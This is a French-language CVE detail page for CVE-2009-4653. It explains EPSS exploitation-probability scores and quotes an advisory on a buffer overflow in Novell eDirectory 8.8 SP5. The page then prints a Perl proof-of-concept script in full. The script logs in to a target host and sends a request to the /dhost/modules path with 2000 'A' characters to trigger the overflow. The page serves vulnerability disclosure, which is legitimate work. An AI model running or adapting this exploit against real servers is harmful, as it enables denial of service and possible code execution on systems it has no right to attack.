CVE-2009-4653 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/37009/info Novell eDirectory is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. Attackers can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions. Novell eDirectory 8.8 SP5 is vulnerable; other versions may also be affected. #!usr\bin\perl #Vulnerability has found by HACKATTACK use WWW::Mechanize; use LWP::Debug qw(+); use HTTP::Cookies; $address=$ARGV[0]; if(!$ARGV[0]){ print "Usage:perl $0 address\n"; exit(); } $login = "$address/_LOGIN_SERVER_"; $url = "$address/dhost/"; $module = "modules?I:"; $buffer = "A" x 2000; $vuln = $module.$buffer; #Edit the username and password. $user = "username"; $pass = "password"; #Edit the username and password. my $mechanize = WWW::Mechanize->new(); $mechanize->cookie_jar(HTTP::Cookies->new(file => "$cookie_file",autosave => 1)); $mechanize->timeout($url_timeout); $res = $mechanize->request(HTTP::Request->new('GET', "$login")); $mechanize->submit_form( form_name => "authenticator", fields => { usr => $user, pwd => $pass}, button => 'Login'); $response2 = $mechanize->get("$url$vuln");